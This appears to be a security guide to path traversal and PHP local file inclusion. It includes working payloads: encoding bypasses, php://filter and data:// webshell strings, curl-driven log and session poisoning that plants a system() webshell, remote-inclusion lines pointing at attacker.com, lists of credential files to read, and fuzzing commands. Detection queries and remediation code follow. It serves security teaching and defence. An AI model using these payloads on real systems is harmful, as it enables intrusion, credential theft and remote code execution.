path traversal and local file inclusion exploitation techniques

Path Traversal and Local File Inclusion

Path traversal and LFI exploitation guide covering filter bypasses, log poisoning for RCE, PHP wrappers, and null byte injection.

Oct 20, 2026
2 min read

Introduction

Path traversal exploits the web server's failure to canonicalize user-supplied file paths before using them to open files on disk. When an application accepts a file or page parameter and passes it directly to a file-open call — fopen(), include(), readfile() — the attacker controls which inode gets read. The OS resolves ../ at the kernel level, so no sanitization is needed by the attacker beyond what the application tries to strip.

Local File Inclusion (LFI) is path traversal on steroids: instead of just reading a file, the PHP runtime executes the included file as PHP code. The distinction matters because even world-readable log files become code execution vectors once you control a field that gets written to them. An Apache access log line containing <?php system($_GET['cmd']); ?> in the User-Agent field becomes a webshell the moment /var/log/apache2/access.log is passed to include().

On Windows targets, the path separator is \ but both \ and / are accepted by most functions. The equivalent of /etc/passwd is C:\Windows\win.ini — it's always present and world-readable. NTFS alternate data streams (file.txt::$DATA) occasionally matter when path construction logic strips extensions before opening.

Authorization Required

All techniques described here are for use against systems you own or have explicit written permission to test. Log poisoning and session file inclusion that achieve RCE are destructive — they write attacker-controlled content to production log files and may crash the application. Scope your payloads accordingly.

Impact

  • Read /etc/shadow, ~/.ssh/id_rsa, .env files, and application configuration containing database credentials
  • Disclose PHP source via php://filter wrappers, exposing business logic and additional vulnerabilities
  • Escalate from LFI to full RCE via log poisoning, session file inclusion, or /proc/self/environ injection
  • Read /proc/net/tcp to map internal network services not reachable from the outside
  • Extract AWS IAM credentials from /proc/1/environ or application containers
  • Bypass authentication by reading session stores or JWT signing secrets
  • Chain with SSRF to read internal service responses via file:// URIs

Technical Details

Path traversal works because applications construct file paths by concatenating a user-supplied value onto a base directory without calling realpath() first. The OS resolves .. segments as it walks the directory tree, so ../../../../etc/passwd from /var/www/html/files/ resolves to /etc/passwd.

LFI works differently: PHP's include(), include_once(), require(), and require_once() all execute the included file as PHP. The file does not need a .php extension. A log file, a session file, or any file that contains a valid PHP tag gets parsed. The PHP interpreter reads until it finds <?php, executes everything inside, and outputs the rest as-is.

Filter Bypass Techniques

Applications attempt to prevent traversal by stripping or blocking ../. Every naive approach has a bypass:

DefenseBypassNotes
Strip ../ once....// or ..././After stripping ../, ....// becomes ../
Block URL-decoded ../%2e%2e%2fSingle URL encoding
Decode once, then block%252e%252e%252fDouble encoding — %25 decodes to %, then second decode gives ../
Block on ../ only..\ on WindowsAlternate separator accepted by Win32 API
Require prefix /var/www/html//var/www/html/../../../../etc/passwdPrepend the required base path before traversal
Null byte strip after %00N/A (PHP ≥ 5.3.4 patched)../../etc/passwd%00.jpg used to truncate extension on older PHP
Extension enforcement .phpphp://filter wrappersBypass by using a stream wrapper instead of a path

PHP Stream Wrappers

PHP exposes several built-in stream wrappers that include() and file_get_contents() both accept:

php://filter reads a file through a chain of filters before returning it. Base64-encoding the output prevents the PHP parser from executing the file and returns the raw source:

php://filter/convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=../../config/database.php
php://filter/convert.iconv.utf-8.utf-16/resource=index.php

php://input reads from the POST body. If allow_url_include=On (default Off since PHP 5.2), including php://input executes the POST body as PHP code.

data:// embeds data inline as a URI. Same allow_url_include=On requirement:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

That base64 decodes to <?php system($_GET['cmd']); ?>.

expect:// (from the PECL expect extension, rarely enabled) executes a command directly: expect://id.

LFI to RCE Escalation Paths

Log Poisoning is the most reliable LFI→RCE path on Apache/Nginx. The access log records the User-Agent verbatim. Send a crafted request, then include the log:

  1. Poison the log with a PHP stub in the User-Agent header
  2. Include the log file via the LFI parameter
  3. Pass cmd as a GET parameter to the included webshell

Apache logs: /var/log/apache2/access.log, /var/log/apache2/error.log
Nginx logs: /var/log/nginx/access.log, /var/log/nginx/error.log
SSH auth log (useful for /var/log/auth.log — inject via ssh username): ssh '<?php system($_GET["cmd"]); ?>'@target

/proc/self/environ contains the process's environment variables, which include HTTP_USER_AGENT. On older kernels (pre-2010 era), this was a common LFI→RCE path. Still occasionally seen on embedded/IoT targets.

PHP Session Files — PHP writes session data to /tmp/sess_<PHPSESSID>. If a session value is user-controlled and unsanitized, write a PHP payload into a session variable, then include /tmp/sess_<id>:

Cookie: PHPSESSID=abc123
POST body: username=<?php system($_GET['cmd']); ?>

Then: ?page=../../../../tmp/sess_abc123

/proc/self/fd/ — Each open file descriptor for the current process is readable via /proc/self/fd/<n>. File descriptor 0 is stdin, 1 is stdout, 2 is stderr. Apache/PHP-FPM processes typically have the error log open at a numbered fd. Brute-force fd numbers:

?page=../../../../proc/self/fd/10
?page=../../../../proc/self/fd/11

Remote File Inclusion (RFI) requires allow_url_include=On, which is disabled by default since PHP 5.2 and almost never enabled in modern deployments. When it is enabled:

?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.txt

High-Value Target Files

/etc/passwd                          # User enumeration
/etc/shadow                          # Password hashes (requires root read)
/etc/hosts                           # Internal network mapping
/proc/net/tcp                        # Open TCP connections (hex-encoded)
/proc/self/environ                   # Process environment variables
/proc/self/cmdline                   # Application invocation
~/.ssh/id_rsa                        # Private key (if web process = app user)
~/.ssh/authorized_keys
/var/www/html/.env                   # Laravel/Symfony/common framework credentials
/var/www/html/config/database.yml    # Rails DB config
/var/www/html/wp-config.php          # WordPress DB credentials
/etc/apache2/apache2.conf            # Apache config, document root confirmation
/etc/nginx/nginx.conf
/etc/php/8.x/apache2/php.ini        # PHP config, disabled functions
C:\Windows\win.ini                   # Windows traversal confirmation target
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config        # IIS credentials, connection strings

Attack Tools

DotDotPwn is purpose-built for path traversal fuzzing across protocols (HTTP, FTP, TFTP, STDOUT).

HTTP mode — fuzz GET parameter
dotdotpwn -m http -h target.com -u "http://target.com/view.php?page=TRAVERSAL" \
  -f /etc/passwd -d 8 -t 200 -o unix -X
FTP mode
dotdotpwn -m ftp -h target.com -U ftpuser -P ftppass -d 6 -f /etc/passwd

Key flags:

  • -d — maximum traversal depth
  • -f — target file to read
  • -t — time between requests (ms)
  • -o unix|windows|unix-windows — OS type
  • -X — use only exact match traversal strings (faster)
  • -b — break on first find
  • -C — cookie string: -C "PHPSESSID=abc123"

ffuf with a traversal wordlist is faster for parameter fuzzing. SecLists ships Fuzzing/LFI/LFI-Jhaddix.txt and Fuzzing/LFI/LFI-gracefulsecurity-linux.txt.

Fuzz page parameter
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -u "http://target.com/view.php?page=FUZZ" \
  -mc 200 -fs 0 -t 50 -o results.json
Fuzz with cookies
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -u "http://target.com/view.php?page=FUZZ" \
  -b "PHPSESSID=abc123; session=xyz" \
  -mc 200 -fr "No such file" -t 30
POST parameter fuzzing
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -u "http://target.com/load.php" \
  -X POST -d "file=FUZZ" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -mc 200 -fr "invalid"

Burp Intruder with the SecLists LFI wordlist. Mark the parameter value as the injection position, load the wordlist, and grep for known content (root:x:0:0 for passwd, [boot loader] for win.ini).

For PHP wrapper enumeration, use a short manual list:

php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=../config.php
php://filter/convert.base64-encode/resource=../../config/database.php
../../../../etc/passwd
../../../../proc/self/environ
../../../../var/log/apache2/access.log

Set a grep match on root:x: and cGhw (base64 prefix for <?php) to auto-flag successful reads.

Manual curl for precise payload control and log poisoning:

Basic traversal
curl -s "http://target.com/view.php?page=../../../../etc/passwd"
URL-encoded bypass
curl -s "http://target.com/view.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
Double-encoded bypass
curl -s "http://target.com/view.php?page=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
PHP filter — read source as base64
curl -s "http://target.com/view.php?page=php://filter/convert.base64-encode/resource=index.php" \
  | grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -d
Log poisoning — step 1: inject PHP stub
curl -s "http://target.com/" \
  -A '<?php system($_GET["cmd"]); ?>'
Log poisoning — step 2: trigger via LFI
curl -s "http://target.com/view.php?page=../../../../var/log/apache2/access.log&cmd=id"
Session poisoning
# Step 1: create session with PHP payload in a user-controlled field
curl -s -c cookies.txt "http://target.com/login.php" \
  -d 'username=<?php system($_GET["cmd"]); ?>&password=test'

# Step 2: include the session file
SESSION_ID=$(grep PHPSESSID cookies.txt | awk '{print $7}')
curl -s -b cookies.txt \
  "http://target.com/view.php?page=../../../../tmp/sess_${SESSION_ID}&cmd=whoami"

Detection

Web Application Firewall Signatures

ModSecurity Core Rule Set (CRS) triggers on:

  • ../ sequences in parameter values (Rule 930100, 930110)
  • URL-encoded traversal sequences (Rule 930120)
  • Common LFI target paths like /etc/passwd, win.ini (Rule 930130)

WAF evasion attempts that also trip detection:

  • Multiple encodings in a single request
  • Unusually long path parameters (>200 chars of ../ sequences)
  • php://filter and data:// wrapper usage

Access Log Patterns

Grep for traversal attempts in Apache logs
grep -E "(\.\./|%2e%2e|%252e|\.\.\\\\)" /var/log/apache2/access.log
Grep for PHP wrapper abuse
grep -iE "(php://filter|php://input|data://|expect://)" /var/log/apache2/access.log
Grep for high-value file targets
grep -iE "(/etc/passwd|/etc/shadow|win\.ini|\.ssh/id_rsa|/proc/self)" /var/log/apache2/access.log

SIEM / Detection Logic

For Elastic/Splunk, correlate on:

  • HTTP 200 responses to requests containing ../ or encoded equivalents — failed traversal attempts return 404/403, successful ones return 200 with file content
  • Sudden appearance of <?php in User-Agent strings (log poisoning setup)
  • Requests to access.log, error.log, auth.log path fragments
  • High-frequency requests from a single IP to the same endpoint with varying path depth (automated fuzzing pattern)

Elastic query:

{
  "query": {
    "bool": {
      "must": [
        { "match": { "http.response.status_code": 200 } },
        { "regexp": { "url.query": ".*(\\.\\./|%2e%2e|%252e).*" } }
      ]
    }
  }
}

Splunk SPL

index=web_logs status=200 
| regex uri_query="(\.\./|%2e%2e|%252e|php://filter|data://)"
| stats count by src_ip, uri_path, uri_query
| where count > 3

Remediation

Canonicalize before using. PHP's realpath() resolves all ../ sequences and symlinks, returning the absolute path. Compare the result against the allowed base directory:

Safe file inclusion pattern
$base = realpath('/var/www/html/templates');
$requested = realpath($base . '/' . $_GET['page']);

if ($requested === false || strpos($requested, $base . DIRECTORY_SEPARATOR) !== 0) {
    http_response_code(403);
    exit('Access denied');
}

include $requested;

Whitelist over blacklist. If the application only needs to include a finite set of templates, map user input to allowed filenames explicitly:

Whitelist mapping
$allowed = [
    'home'    => 'templates/home.php',
    'contact' => 'templates/contact.php',
    'about'   => 'templates/about.php',
];

$page = $_GET['page'] ?? 'home';
if (!array_key_exists($page, $allowed)) {
    http_response_code(404);
    exit();
}

include $allowed[$page];

Disable dangerous PHP settings in php.ini:

php.ini hardening
allow_url_fopen = Off
allow_url_include = Off
open_basedir = /var/www/html:/tmp

open_basedir restricts all file operations (including include) to the listed directories. It is not a complete control — proc_open() and some extensions bypass it — but it raises the bar significantly.

Chroot the web process. Running PHP-FPM in a chroot jail or container limits the filesystem tree the process can traverse. Even a successful ../../../../etc/passwd read fails if /etc does not exist inside the chroot.

Log file permissions. Apache/Nginx log files should not be readable by the www-data user. Set 640 with ownership root:adm. This breaks the log poisoning vector without affecting log rotation.

Restrict log file permissions
chmod 640 /var/log/apache2/access.log /var/log/apache2/error.log
chown root:adm /var/log/apache2/access.log /var/log/apache2/error.log

Session file security. Store PHP sessions in a directory the web user cannot include:

php.ini session hardening
session.save_path = /var/lib/php/sessions

Ensure /var/lib/php/sessions is outside open_basedir for read operations, or use an encrypted session handler that stores data in a database instead of flat files.

References

MITRE ATT&CK Techniques

Tools Documentation

Next Steps

On this page